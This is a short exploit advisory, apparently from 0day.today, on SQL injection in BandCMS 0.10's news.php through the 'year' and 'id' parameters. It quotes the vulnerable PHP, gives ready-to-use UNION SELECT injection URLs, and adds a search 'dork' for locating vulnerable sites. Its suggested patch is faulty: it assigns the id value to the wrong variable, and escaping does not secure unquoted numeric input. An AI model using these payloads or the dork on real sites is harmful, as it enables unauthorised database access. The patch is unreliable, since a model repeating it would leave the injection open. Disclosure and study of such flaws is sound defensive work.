BandCMS 0.10 news.php Multiple SQL Injection Vulnerabilities

============================================================
BandCMS 0.10 news.php Multiple SQL Injection Vulnerabilities
============================================================


#################################################################
#[+] BandCMS v0.10 news.php Milti SQL Injection Vulnerabilities	#
#[+] Vendor : http://rockband.sourceforge.net/			#
#[+] Dork : "Powered by Rock Band CMS 0.10"			#
#################################################################
#	BandCMS v0.10 Has an SQL Injection in news.php 		#
#								#
#	Code :							#
#	 if(isset($_GET['year'])){				#
#		$year = $_GET['year'];				#
#		$smarty->assign('news', $db->getNewsYear($year));
#	}							#
#								#
#								#
#	Exploit :						#
#	http://site.com/news.php?year=-2004+UNION+SELECT+1,2,3,4--
#								#
#								#
#	Code :							#
#	    $id = $_GET['id'];					#
#	    $newsItem = $db->getNewsItem($id);			#
#	    $smarty->assign('news', $newsItem);			#
#								#
#	Exploit :						#
#	http://site.com/news.php?id=-1+UNION+SELECT+1,2,3,4--	#
#								#
#								#
#	Patch :							#
#	Since Im a Nice guy here is a change both variables as	#
#	follows							#
#								#
#  $year = addslashes(mysql_real_escape_string($_GET['year']));	#
#								#
#	$year = addslashes(mysql_real_escape_string($_GET['id']));
#								#
#################################################################



#  0day.today [2018-01-01]  #